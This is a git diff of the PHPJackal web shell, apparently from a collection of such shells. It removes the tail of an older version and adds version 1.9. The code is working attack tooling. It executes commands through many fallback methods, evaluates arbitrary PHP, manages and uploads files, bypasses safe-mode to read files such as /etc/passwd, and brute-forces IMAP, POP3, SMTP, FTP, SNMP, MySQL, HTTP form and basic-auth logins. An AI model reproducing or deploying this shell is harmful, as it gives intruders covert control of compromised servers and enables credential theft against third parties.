$cl2; -echo ""; -if (strlen($fn)>45)echo substr($fn,0,42)."...";else echo $fn;echo ""; -echo $cl1."$own"; -echo $cl1."$mdate"; -echo $cl1."$adate"; -echo "$cl1";if (is_readable($fn)) echo "R";if (is_writeable($fn)) echo "W";if (is_executable($fn)) echo "X";if (is_uploaded_file($fn)) echo "U"; echo ""; -echo "$cl1$size"; -echo $td2m.$fileaction; -echo "" ; -flusheR(); -} -foreach($link as $ln){ -$own = "Unknow"; -$i++; -$owner = posix_getpwuid(fileowner($ln)); -$linkaction=$select.hlinK("seC=openit&namE=$ln&workingdiR=$ln")."\">Open"; -$mdate = date("Y/m/d H:i:s",filemtime($ln)); -$adate = date("Y/m/d H:i:s",fileatime($ln)); -if ($owner) $own = "".$owner['name'].""; -echo ""; -$size = showsizE(filesize($ln)); -if (($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;} -if (is_writeable($ln)) echo $tdw;elseif (!is_readable($ln)) echo $tdnr;else echo $cl2; -echo ""; -if (strlen($ln)>45)echo substr($ln,0,42)."...";else echo $ln;echo ""; -echo $cl1."$own"; -echo $cl1."$mdate"; -echo $cl1."$adate"; -echo "${cl1}L";if (is_readable($ln)) echo "R";if (is_writeable($ln)) echo "W";if (is_executable($ln)) echo "X"; echo ""; -echo "$cl1$size"; -echo $cl2.$linkaction; -echo "" ; -flusheR(); -} -} -$dc = count($dir)-2; -if($dc==-2)$dc=0; -$fc = count($file); -$lc = count($link); -$total = $dc + $fc + $lc; -echo "$table
NameOwnerModification timeLast changeInfoSizeActions
Find:Regular expressions $hcwd
$hcwd
$et
$td1n$td2m$hcwd$td1n Note: Max allowed file size to upload on this server is ".ini_get('upload_max_filesize')."

Summery: Total: $total Directories: $dc Files: $fc Links: $lc
Current directory status: "; if (is_readable($cwd)) echo "R";if (is_writeable($cwd)) echo "W" ;echo "
$td1n$td2m$hcwd
New:

${t}Upload:
$et"; -} -} -function imaplogiN($host,$username,$password){ -$sock=fsockopen($host,143,$n,$s,5); -$b=namE(); -$l=strlen($b); -if(!$sock)return -1; -fread($sock,1024); -fputs($sock,"$b LOGIN $username $password\r\n"); -$res=fgets($sock,$l+4); -if ($res == "$b OK")return 1;else return 0; -fclose($sock); -} -function pop3logiN($server,$user,$pass){ -$sock=fsockopen($server,110,$en,$es,5); -if(!$sock)return -1; -fread($sock,1024); -fwrite($sock,"user $user\n"); -$r=fgets($sock); -if($r{0}=='-')return 0; -fwrite($sock,"pass $pass\n"); -$r=fgets($sock); -fclose($sock); -if($r{0}=='+')return 1; -return 0; -} -function imapcrackeR(){ -global $t,$et,$errorbox,$crack; -if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ -$target=$_REQUEST['target']; -$type=$_REQUEST['combo']; -$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; -$dictionary=fopen($_REQUEST['dictionary'],'r'); -if ($dictionary){ -echo "Cracking ".htmlspecialchars($target)."...
";flusheR(); -while(!feof($dictionary)){ -if($type){ -$combo=trim(fgets($dictionary)," \n\r"); -$user=substr($combo,0,strpos($combo,':')); -$pass=substr($combo,strpos($combo,':')+1); -}else{ -$pass=trim(fgets($dictionary)," \n\r"); -} -$imap=imaplogiN($target,$user,$pass); -if($imap==-1){echo "$errorbox Can not connect to server.$et";break;}else{ -if ($imap){echo "U: $user P: $pass
";if(!$type)break;}} -flusheR(); -} -echo "
Done
"; -fclose($dictionary); -} -else{ -echo "$errorbox Can not open dictionary.$et"; -} -}else echo "
${t}IMAP cracker:$crack"; -} -function snmpcrackeR(){ -global $t,$et,$errorbox,$crack,$hcwd; -if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ -$target=$_REQUEST['target']; -$dictionary=fopen($_REQUEST['dictionary'],'r'); -if ($dictionary){ -echo "Cracking ".htmlspecialchars($target)."...
";flusheR(); -while(!feof($dictionary)){ -$com=trim(fgets($dictionary)," \n\r"); -$res=snmpchecK($target,$com,2); -if($res)echo "$com
"; -flusheR(); -} -echo "
Done
"; -fclose($dictionary); -} -else{ -echo "$errorbox Can not open dictionary.$et"; -} -}else echo "
${t}SNMP cracker:
Dictionary:
Server:
"; -} -function pop3crackeR(){ -global $t,$et,$errorbox,$crack; -if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ -$target=$_REQUEST['target']; -$type=$_REQUEST['combo']; -$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; -$dictionary=fopen($_REQUEST['dictionary'],'r'); -if ($dictionary){ -echo "Cracking ".htmlspecialchars($target)."...
";flusheR(); -while(!feof($dictionary)){ -if($type){ -$combo=trim(fgets($dictionary)," \n\r"); -$user=substr($combo,0,strpos($combo,':')); -$pass=substr($combo,strpos($combo,':')+1); -}else{ -$pass=trim(fgets($dictionary)," \n\r"); -} -$pop3=pop3logiN($target,$user,$pass); -if($pop3==-1){echo "$errorbox Can not connect to server.$et";break;} else{ -if ($pop3){echo "U: $user P: $pass
";if(!$type)break;}} -flusheR(); -} -echo "
Done
"; -fclose($dictionary); -} -else{ -echo "$errorbox Can not open dictionary.$et"; -} -}else echo "
${t}POP3 cracker:$crack"; -} -function smtpcrackeR(){ -global $t,$et,$errorbox,$crack; -if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ -$target=$_REQUEST['target']; -$type=$_REQUEST['combo']; -$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; -$dictionary=fopen($_REQUEST['dictionary'],'r'); -if ($dictionary){ -echo "Cracking ".htmlspecialchars($target)."...
";flusheR(); -while(!feof($dictionary)){ -if($type){ -$combo=trim(fgets($dictionary)," \n\r"); -$user=substr($combo,0,strpos($combo,':')); -$pass=substr($combo,strpos($combo,':')+1); -}else{ -$pass=trim(fgets($dictionary)," \n\r"); -} -$smtp=smtplogiN($target,$user,$pass,5); -if($smtp==-1){echo "$errorbox Can not connect to server.$et";break;} else{ -if ($smtp){echo "U: $user P: $pass
";if(!$type)break;}} -flusheR(); -} -echo "
Done
"; -fclose($dictionary); -} -else{ -echo "$errorbox Can not open dictionary.$et"; -} -}else echo "
${t}SMTP cracker:$crack"; -} -function formcrackeR(){ -global $errorbox,$footer,$et,$hcwd; -if(!empty($_REQUEST['start'])){ -$url=$_REQUEST['target']; -$uf=$_REQUEST['userf']; -$pf=$_REQUEST['passf']; -$sf=$_REQUEST['submitf']; -$sv=$_REQUEST['submitv']; -$method=$_REQUEST['method']; -$fail=$_REQUEST['fail']; -$dic=$_REQUEST['dictionary']; -$type=$_REQUEST['combo']; -$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; -if(!file_exists($dic)) die("$errorbox Can not open dictionary.$et$footer"); -$dictionary=fopen($dic,'r'); -echo "Cracking started...
"; -while(!feof($dictionary)){ -if($type){ -$combo=trim(fgets($dictionary)," \n\r"); -$user=substr($combo,0,strpos($combo,':')); -$pass=substr($combo,strpos($combo,':')+1); -}else{ -$pass=trim(fgets($dictionary)," \n\r"); -} -$url.="?$uf=$user&$pf=$pass&$sf=$sv"; -$res=check_urL($url,$method,$fail,12); -if (!$res){echo "U: $user P: $pass
";flusheR();if(!$type)break;} -flusheR(); -} -fclose($dictionary); -echo "Done!

"; -} -else echo "
HTTP Form cracker:
Dictionary:
Dictionary type:Simple (P)Combo (U:P)
Username:$hcwd
Action Page:
Method:
Username field name:
Password field name:
Submit name:
Submit value:
Fail string:
"; -} -function hashcrackeR(){ -global $errorbox,$t,$et,$hcwd; -if (!empty($_REQUEST['hash']) && !empty($_REQUEST['dictionary']) && !empty($_REQUEST['type'])){ -$dictionary=fopen($_REQUEST['dictionary'],'r'); -if ($dictionary){ -$hash=strtoupper($_REQUEST['hash']); -echo "Cracking " . htmlspecialchars($hash)."...
";flusheR(); -$type=($_REQUEST['type']=='MD5')?'md5':'sha1'; -while(!feof($dictionary)){ -$word=trim(fgets($dictionary)," \n\r"); -if ($hash==strtoupper(($type($word)))){echo "The answer is $word
";break;} -} -echo "Done!
"; -fclose($dictionary); -} -else{ -echo "$errorbox Can not open dictionary.$et"; -} -} -echo "
${t}Hash cracker:
Dictionary:
Hash:
Type:
$hcwd
"; -} -function pr0xy(){ -global $errorbox,$et,$footer,$hcwd; -echo "
Navigator: $hcwd
"; -if (!empty($_REQUEST['urL'])){ -$dir=""; -$u=parse_url($_REQUEST['urL']); -$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/'; -if(substr_count($file,'/')>1)$dir=substr($file,0,(strpos($file,'/'))); -$url=@fsockopen($host, 80, $errno, $errstr, 12); -if(!$url)die("
$errorbox Can not connect to host!$et$footer"); -fputs($url, "GET /$file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n"); -while(!feof($url)){ -$con = fgets($url); -$con = str_replace("href=mailto","HrEf=mailto",$con); -$con = str_replace("HREF=mailto","HrEf=mailto",$con); -$con = str_replace("href=\"mailto","HrEf=\"mailto",$con); -$con = str_replace("HREF=\"mailto","HrEf=\"mailto",$con); -$con = str_replace("href=\'mailto","HrEf=\"mailto",$con); -$con = str_replace("HREF=\'mailto","HrEf=\"mailto",$con); -$con = str_replace("href=\"http","HrEf=\"".hlinK("seC=px&urL=http"),$con); -$con = str_replace("HREF=\"http","HrEf=\"".hlinK("seC=px&urL=http"),$con); -$con = str_replace("href=\'http","HrEf=\"".hlinK("seC=px&urL=http"),$con); -$con = str_replace("HREF=\'http","HrEf=\"".hlinK("seC=px&urL=http"),$con); -$con = str_replace("href=http","HrEf=".hlinK("seC=px&urL=http"),$con); -$con = str_replace("HREF=http","HrEf=".hlinK("seC=px&urL=http"),$con); -$con = str_replace("href=\"","HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),$con); -$con = str_replace("HREF=\"","HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),$con); -$con = str_replace("href=\"","HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),$con); -$con = str_replace("HREF=\"","HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),$con); -$con = str_replace("href=","HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),$con); -$con = str_replace("HREF=","HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),$con); -echo $con; -} -fclose($url); -} -} -function mysqlclienT(){ -global $t,$errorbox,$et,$hcwd; -if (!empty($_REQUEST['serveR']) && !empty($_REQUEST['useR']) && !empty($_REQUEST['pasS']) && !empty($_REQUEST['querY'])){ -$server=$_REQUEST['serveR'];$pass=$_REQUEST['pasS'];$user=$_REQUEST['useR'];$query=$_REQUEST['querY']; -if(!empty($_REQUEST['dB']))$db=$_REQUEST['dB']; -$link = @mysql_connect($server,$user,$pass); -if($link){ -if (!empty($db))mysql_select_db($db); -$result=mysql_query($query,$link); -echo "${t}Query result(s):$et"; -echo "
";
-while($data=mysql_fetch_row($result)){
-foreach($data as $v) {
-echo $v;
-echo "\t";
-}
-echo "\n";
-}
-echo "
"; -mysql_close($link); -} -else{ -echo "$errorbox Login failed!$et
"; -} -} -echo "
${t}MySQL cilent:
Server:
Username:
Password:
Database:
Query:
$hcwd
"; -} -function phpevaL(){ -global $t,$hcwd; -if (!empty($_REQUEST['code'])){ -echo "

"; -} -echo "
${t}Evaler:
Codes:
$hcwd
"; -} -function whoiS(){ -global $t,$hcwd; -if (!empty($_REQUEST['server']) && !empty($_REQUEST['domain'])){ -$server =$_REQUEST['server']; -$domain=$_REQUEST['domain']."\r\n"; -$ser=fsockopen($server,43,$en,$es,5); -fputs($ser,$domain); -echo "
";
-while(!feof($ser))echo fgets($ser);
-echo "
"; -fclose($ser); -} -else{ -echo "
${t}Whois:
Server:domain:$hcwd
"; -} -} -function hexvieW(){ -if (!empty($_REQUEST['filE'])){ -$f = $_REQUEST['filE']; -echo ""; -$file = fopen($f,"r"); -$i= -1; -while (!feof($file)) { -$ln=''; -$i++; -echo ""; -echo ""; -} -} -fclose($file); -echo "
OffsetHexASCII
";echo str_repeat("0",(8-strlen($i * 16))).$i * 16;echo ""; -for ($j=0;$j<=7;$j++){ -if (!feof($file)){ -$tmp = strtoupper(dechex(ord(fgetc($file)))); -if (strlen($tmp)==1) $tmp = "0".$tmp; -echo $tmp." "; -$ln.=$tmp; -} -} -echo ""; -for ($j=7;$j<=14;$j++){ -if (!feof($file)){ -$tmp = strtoupper(dechex(ord(fgetc($file)))); -if (strlen($tmp)==1) $tmp = "0".$tmp; -echo $tmp." "; -$ln.=$tmp; -} -} -echo ""; -$n=0;$asc="";$co=0; -for ($k=0;$k<=16;$k++){ -$co=hexdec(substr($ln,$n,2)); -if (($co<=31)||(($co>=127)&&($co<=160)))$co=46; -$asc.= chr($co); -$n+=2; -} -echo htmlspecialchars($asc); -echo "
"; -} -function safemodE(){ -global $windows,$t,$hcwd; -if (!empty($_REQUEST['file'])){ -$i=1; -echo "
\nMethod $i:(ini_restore)\n";
-ini_restore("safe_mode");ini_restore("open_basedir");
-$tmp = file_get_contents($_REQUEST['file']);
-echo $tmp;
-$i++;
-echo "\nMethod $i:(copy)\n";
-$tmp=tempnam("","cx");
-copy("compress.zlib://".$_REQUEST['file'], $tmp);
-$fh = fopen($tmp, "r");
-$data = fread($fh, filesize($tmp));
-fclose($fh);
-echo $data;
-$i++;
-if(function_exists("curl_init")){
-echo "\nMethod $i:(curl_init)[A]\n";
-$fh = @curl_init("file://".$_REQUEST['file']."");
-$tmp = @curl_exec($fh);
-echo $tmp;
-$i++;
-echo "\nMethod $i:(curl_init)[B]\n";
-$i++;
-if(strstr($_REQUEST['file'],DIRECTORY_SEPARATOR))
-$ch =curl_init("file:///".$_REQUEST['file']."\x00/../../../../../../../../../../../../".__FILE__);
-else $ch = curl_init("file://".$_REQUEST['file']."\x00".__FILE__);
-curl_exec($ch);
-var_dump(curl_exec($ch));
-}
-if($_REQUEST['file'] == "/etc/passwd"){
-echo "\nMethod $i:(posix)\n";
-for($uid=0;$uid<99999;$uid++){
-$h=posix_getpwuid($uid);
-if (!empty($h))foreach($h as $v)echo "$v:";}}
-$i++;
-echo "
"; -} -echo "
${t}Anti Safe-Mode:
File:$hcwd
"; -} -function crackeR(){ -global $et; -$cwd = getcwd(); -echo "
[Hash] - [SMTP] - [POP3] - [IMAP] - [FTP] - [SNMP] - [MySQL] - [HTTP form] - [HTTP Auth(basic)] - [Dictionary maker]$et"; -} -function dicmakeR(){ -global $errorbox,$windows,$footer,$t,$et,$hcwd; -if (!empty($_REQUEST['combo'])&&($_REQUEST['combo']==1)) $combo=1 ; else $combo=0; -if (!empty($_REQUEST['range']) && !empty($_REQUEST['output']) && !empty($_REQUEST['min']) && !empty($_REQUEST['max'])){ -$min = $_REQUEST['min']; -$max = $_REQUEST['max']; -if($max<$min)die($errorbox ."Bad input!$et". $footer); -$s =$w=""; -$out = $_REQUEST['output']; -$r = ($_REQUEST['range']=='a' )?'a':'A'; -if ($_REQUEST['range']==0) $r=0; -for($i=0;$i<$min;$i++) $s.=$r; -$dic = fopen($out,'a'); -if(is_nan($r)){ -while(strlen($s)<=$max){ -$w = $s; -if($combo)$w="$w:$w"; -fwrite($dic,$w."\n"); -$s++;} -} -else{ -while(strlen($w)<=$max){ -$w =(string)str_repeat("0",($min - strlen($s))).$s; -if($combo)$w="$w:$w"; -fwrite($dic,$w."\n"); -$s++;} -} -fclose($dic); -echo "Done"; -} -if (!empty($_REQUEST['input']) && !empty($_REQUEST['output'])){ -$input=fopen($_REQUEST['input'],'r'); -if (!$input){ -if ($windows)echo $errorbox. "Unable to read from ".htmlspecialchars($_REQUEST['input']) ."$et
"; -else{ -$input=explode("\n",shelL("cat $input")); -$output=fopen($_REQUEST['output'],'w'); -if ($output){ -foreach ($input as $in){ -$user = $in; -$user = trim(fgets($in)," \n\r"); -if (!strstr($user,":"))continue; -$user=substr($user,0,(strpos($user,':'))); -if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n"); -} -fclose($input);fclose($output); -echo "Done"; -} -} -} -else{ -$output=fopen($_REQUEST['output'],'w'); -if ($output){ -while (!feof($input)){ -$user = trim(fgets($input)," \n\r"); -if (!strstr($user,":"))continue; -$user=substr($user,0,(strpos($user,':'))); -if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n"); -} -fclose($input);fclose($output); -echo "Done"; -} -else echo $errorbox." Unable to write data to ".htmlspecialchars($_REQUEST['input']) ."$et
"; -} -}elseif (!empty($_REQUEST['url']) && !empty($_REQUEST['output'])){ -$res=downloadiT($_REQUEST['url'],$_REQUEST['output']); -if($combo && $res){ -$file=file($_REQUEST['output']); -$output=fopen($_REQUEST['output'],'w'); -foreach ($file as $v)fwrite($output,"$v:$v\n"); -fclose($output); -} -echo "Done"; -}else{ -$temp=whereistmP(); -echo "
${t}Wordlist generator:
Range:
Min lenght:
Max lenght:
Output:
Combo style output
$hcwd

${t}Grab dictionary:
Grab from:Output:Combo style output$hcwd

${t}Download dictionary:
URL:Output:Combo style output$hcwd
";} -} -function calC(){ -global $t,$et,$hcwd; -$fu = array('-','md5','sha1','crc32','hex','ip2long','long2ip','base64_encode','base64_decode','urldecode','urlencode'); -if (!empty($_REQUEST['input']) && (in_array($_REQUEST['to'],$fu))){ -echo "
${t}Output:
$et

"; -} -echo "
${t}Convertor:
Input:Task:$hcwd
"; -} -function authcrackeR(){ -global $errorbox,$et,$t,$crack,$hcwd; -if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ -$data=''; -$method=($_REQUEST['method'])?'POST':'GET'; -if(strstr($_REQUEST['target'],'?')){$data=substr($_REQUEST['target'],strpos($_REQUEST['target'],'?')+1);$_REQUEST['target']=substr($_REQUEST['target'],0,strpos($_REQUEST['target'],'?'));} -spliturL($_REQUEST['target'],$host,$page); -$type=$_REQUEST['combo']; -$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; -if($method='GET')$page.=$data; -$dictionary=fopen($_REQUEST['dictionary'],'r'); -echo ""; -while(!feof($dictionary)){ -if($type){ -$combo=trim(fgets($dictionary)," \n\r"); -$user=substr($combo,0,strpos($combo,':')); -$pass=substr($combo,strpos($combo,':')+1); -}else{ -$pass=trim(fgets($dictionary)," \n\r"); -} -$so=fsockopen($host,80,$en,$es,5); -if(!$so){echo "$errorbox Can not connect to host$et";break;} -else{ -$packet="$method /$page HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nConnection: Close\r\nAuthorization: Basic ".base64_encode("$user:$pass"); -if($method=='POST')$packet.="Content-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($data); -$packet.="\r\n\r\n"; -$packet.=$data; -fputs($so,$packet); -$res=substr(fgets($so),9,2); -fclose($so); -if($res=='20')echo "U: $user P: $pass
"; -flusheR(); -} -} -echo "Done!
"; -}else echo "
${t}HTTP Auth cracker:Dictionary:Dictionary type:Simple (P)Combo (U:P)Username:Server:$hcwd
"; -} -function sqlcrackeR(){ -global $errorbox,$t,$et,$crack; -if (!function_exists("mysql_connect")){ -echo "$errorbox Server does n`t support MySQL$et"; -} -else{ -if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ -$target=$_REQUEST['target']; -$type=$_REQUEST['combo']; -$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; -$dictionary=fopen($_REQUEST['dictionary'],'r'); -if ($dictionary){ -echo "Cracking ".htmlspecialchars($target)."...
"; -while(!feof($dictionary)){ -if($type){ -$combo=trim(fgets($dictionary)," \n\r"); -$user=substr($combo,0,strpos($combo,':')); -$pass=substr($combo,strpos($combo,':')+1); -}else{ -$pass=trim(fgets($dictionary)," \n\r"); -} -$sql=@mysql_connect($target,$user,$pass); -if($sql){echo "U: $user P: $pass (Connect)
";mysql_close($sql);if(!$type)break;} -flusheR(); -} -echo "
Done
"; -fclose($dictionary); -} -else{ -echo "$errorbox Can not open dictionary.$et"; -} -} -else{ -echo "
${t}MySQL cracker:$crack"; -} -} -} -function ftpcrackeR(){ -global $errorbox,$t,$et,$crack; -if (!function_exists("ftp_connect"))echo "$errorbox Server does n`t support FTP functions$et"; -else{ -if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ -$target=$_REQUEST['target']; -$type=$_REQUEST['combo']; -$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; -$dictionary=fopen($_REQUEST['dictionary'],'r'); -if ($dictionary){ -echo "Cracking ".htmlspecialchars($target)."...
"; -while(!feof($dictionary)){ -if($type){ -$combo=trim(fgets($dictionary)," \n\r"); -$user=substr($combo,0,strpos($combo,':')); -$pass=substr($combo,strpos($combo,':')+1); -}else{ -$pass=trim(fgets($dictionary)," \n\r"); -} -if(!$ftp=ftp_connect($target,21,8)){echo "$errorbox Can not connect to server.$et";break;} -if (@ftp_login($ftp,$user,$pass)){echo "U: $user P: $pass
";if(!$type)break;} -ftp_close($ftp); -flusheR(); -} -echo "
Done
"; -fclose($dictionary); -} -else{ -echo "$errorbox Can not open dictionary.$et"; -} -} -else echo "
${t}FTP cracker:$crack"; -}} -function openiT($name){ -$ext=strtolower(substr($name,strrpos($name,'.')+1)); -$src=array('php','php3','php4','phps','phtml','phtm','inc'); -if(in_array($ext,$src))highlight_file($name); -else echo "
".htmlspecialchars(file_get_contents($name))."
"; -} -function logouT(){ -setcookie('passw','',time()-10000); -header('Location: '.hlinK()); -} -?> - - - - -PHPJackal - - -
[Back] - ">[Info] - ">[File manager] - ">[Editor] - ">[Web shell] - ">[B/R shell] - ">[Safe-mode] - ">[SQL] - ">[Mailer] - ">[Evaler] - ">[Scanners] - ">[Crackers] - ">[Pr0xy] - ">[Whois] - ">[Convert] - ">[About] Logout]";?>
-
- \ No newline at end of file diff --git a/Php/PHPJackal v1.9.php b/Php/PHPJackal v1.9.php new file mode 100644 index 0000000..9765318 --- /dev/null +++ b/Php/PHPJackal v1.9.php @@ -0,0 +1,1616 @@ +$value)$_REQUEST[$key]=stripslashes($value); +} +if(count($IP) && !in_array($_SERVER['REMOTE_ADDR'],$IP))die('Access denied!'); +function hlinK($str=''){ +$myvars=array('modE','chmoD','workingdiR','urL','cracK','imagE','namE','filE','downloaD','seC','cP','mV','rN','deL'); +$ret=$_SERVER['PHP_SELF'].'?'; +$new=explode('&',$str); +foreach($_GET as $key => $v){ +$add=1; +foreach($new as $m){ +$el=explode('=',$m); +if($el[0]==$key)$add=0; +} +if($add){if(!in_array($key,$myvars))$ret.="$key=$v&";} +} +$ret.=$str; +return $ret; +} +header('Cache-Control: no-cache, must-revalidate'); +header('Expires: Mon, 7 Aug 1987 05:00:00 GMT'); +$et=''; +if(!empty($login_password)){ +if(!empty($_REQUEST['fpassw'])){ +if($_REQUEST['fpassw']==$login_password)setcookie('passw',md5($_REQUEST['fpassw'])); +header('Location: '.hlinK()); +} +if(empty($_COOKIE['passw']) || $_COOKIE['passw']!=md5($login_password))die("
Password:
$et"); +} +if(!empty($_REQUEST['workingdiR']))chdir($_REQUEST['workingdiR']); +$disablefunctions=ini_get('disable_functions'); +$disablefunctions=explode(',',$disablefunctions); +function checkthisporT($ip,$port,$timeout,$type=0){ +if(!$type){ +$scan=fsockopen($ip,$port,$n,$s,$timeout); +if($scan){fclose($scan);return 1;} +} +elseif(function_exists('socket_set_timeout')){ +$scan=fsockopen("udp://$ip",$port); +if($scan){ +socket_set_timeout($scan,$timeout); +fwrite($scan,"\x00"); +$s=time(); +fread($scan,1); +if((time()-$s)>=$timeout){fclose($scan);return 1;} +} +} +return 0; +} +if(!function_exists('is_executable')){ +function is_executable($addr){ +return 0; +} +} +if(!function_exists('file_get_contents')){ +function file_get_contents($addr){ +$a=fopen($addr,'r'); +$tmp=fread($a,filesize($a)); +fclose($a); +if($a)return $tmp;else return null; +} +} +if(!function_exists('file_put_contents')){ +function file_put_contents($addr,$con){ +$a=fopen($addr,'w'); +if(!$a)return 0; +$t=fwrite($a,$con); +fclose($a); +if($t)return strlen($con); +return 0; +} +} +function file_add_contentS($addr,$con){ +$a=fopen($addr,'a'); +if(!$a)return 0; +fwrite($a,$con); +fclose($a); +return strlen($con); +} +if(!empty($_REQUEST['chmoD']) && !empty($_REQUEST['modE']))chmod($_REQUEST['chmoD'],'0'.$_REQUEST['modE']); +if(!empty($_REQUEST['downloaD'])){ +ob_clean(); +$dl=$_REQUEST['downloaD']; +$con=file_get_contents($dl); +header('Content-type: application/octet-stream'); +header("Content-disposition: attachment; filename=\"$dl\";"); +header('Content-length: '.strlen($con)); +echo $con; +exit; +} +if(!empty($_REQUEST['imagE'])){ +$img=$_REQUEST['imagE']; +header('Content-type: imagE/gif'); +header("Content-length: ".filesize($img)); +header("Last-Modified: ".date('r',filemtime($img))); +echo file_get_contents($img); +exit; +} +if(!empty($_REQUEST['exT'])){ +$ex=$_REQUEST['exT']; +$e=get_extension_funcs($ex); +echo ''.htmlspecialchars($ex).'Functions:
';foreach($e as $k=>$f){$i=$k+1;echo "$i)$f ";if(in_array($f,$disablefunctions))echo 'DISABLED';echo '
';} +echo ''; +exit; +} +function showsizE($size){ +if($size>=1073741824)$size=round(($size/1073741824),2).' GB'; +elseif($size>=1048576)$size=round(($size/1048576),2).' MB'; +elseif($size>=1024)$size=round(($size/1024),2).' KB'; +else $size.=' B'; +return $size; +} +$windows=(substr((strtoupper(php_uname())),0,3)=='WIN')?1:0; +$errorbox="
Error: "; +$v='1.9'; +$cwd=getcwd(); +$msgbox="
"; +$intro="
Script:
".str_repeat('-=-',25)."
Name: PHPJackal
Version: $v

Author:
".str_repeat('-=-',25)."
Name: NetJackal
Country: Iran
Website: http://netjackal.by.ru/
Email: nima_501@yahoo.com
$et"; +$footer="${msgbox}PHPJackal v$v - Powered By NetJackal$et"; +$hcwd=""; +$t="
"; +$crack="
Dictionary:
Dictionary type:Simple (P)Combo (U:P)
Username:
Server:
Log $hcwd $et"; +function checkfunctioN($func){ +global $disablefunctions,$safemode; +$safe=array('passthru','system','exec','shell_exec','popen','proc_open'); +if($safemode=='ON' && in_array($func,$safe))return 0; +elseif(function_exists($func) && is_callable($func) && !in_array($func,$disablefunctions))return 1; +return 0; +} +function whereistmP(){ +$uploadtmp=ini_get('upload_tmp_dir'); +$uf=getenv('USERPROFILE'); +$af=getenv('ALLUSERSPROFILE'); +$se=ini_get('session.save_path'); +$envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP'); +if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp'; +if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp'; +if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp'; +if(is_dir($uf) && is_writable($uf))return $uf; +if(is_dir($af) && is_writable($af))return $af; +if(is_dir($se) && is_writable($se))return $se; +if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp; +if(is_dir($envtmp) && is_writable($envtmp))return $envtmp; +return '.'; +} +function shelL($command){ +global $windows; +$exec=$output=''; +$dep[]=array('pipe','r');$dep[]=array('pipe','w'); +if(checkfunctioN('passthru')){ob_start();passthru($command);$exec=ob_get_contents();ob_clean();ob_end_clean();} +elseif(checkfunctioN('system')){$tmp=ob_get_contents();ob_clean();system($command);$output=ob_get_contents();ob_clean();$exec=$tmp;} +elseif(checkfunctioN('exec')){exec($command,$output);$output=join("\n",$output);$exec=$output;} +elseif(checkfunctioN('shell_exec'))$exec=shell_exec($command); +elseif(checkfunctioN('popen')){$output=popen($command,'r');while(!feof($output)){$exec=fgets($output);}pclose($output);} +elseif(checkfunctioN('proc_open')){$res=proc_open($command,$dep,$pipes);while(!feof($pipes[1])){$line=fgets($pipes[1]);$output.=$line;}$exec=$output;proc_close($res);} +elseif(checkfunctioN('win_shell_execute'))$exec=winshelL($command); +elseif(checkfunctioN('win32_create_service'))$exec=srvshelL($command); +elseif(extension_loaded('ffi') && $windows)$exec=ffishelL($command); +elseif(is_object($ws=new COM('WScript.Shell')))$exec=comshelL($command,$ws); +elseif(extension_loaded('perl'))$exec=perlshelL($command); +return $exec; +} +function getiT($get){ +$fo=strtolower(ini_get('allow_url_fopen')); +$ui=strtolower(ini_get('allow_url_include')); +if($fo || $fo=='on')$con=file_get_contents($get); +elseif($ui || $ui=='on'){ +ob_start(); +include($get); +$con=ob_get_contents(); +ob_end_clean(); +} +else{ +$u=parse_url($get); +$host=$u['host'];$file=(empty($u['path']))?'/':$u['path'];$port=(empty($u['port']))?80:$u['port']; +$url=fsockopen($host,$port,$en,$es,12); +fputs($url,"GET $file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n"); +$tmp=$con=''; +while($tmp!="\r\n")$tmp=fgets($url); +while(!feof($url))$con.=fgets($url); +} +return $con; +} +function downloadiT($get,$put){ +$con=getiT($get); +$mk=file_put_contents($put,$con); +if($mk)return 1; +return 0; +} +function winshelL($command){ +$name=whereistmP()."\\".uniqid('NJ'); +win_shell_execute('cmd.exe','',"/C $command >\"$name\""); +sleep(1); +$exec=file_get_contents($name); +unlink($name); +return $exec; +} +function ffishelL($command){ +$name=whereistmP()."\\".uniqid('NJ'); +$api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);"); +$res=$api->WinExec("cmd.exe /c $command >\"$name\"",0); +while(!file_exists($name))sleep(1); +$exec=file_get_contents($name); +unlink($name); +return $exec; +} +function srvshelL($command){ +$name=whereistmP()."\\".uniqid('NJ'); +$n=uniqid('NJ'); +$cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec']; 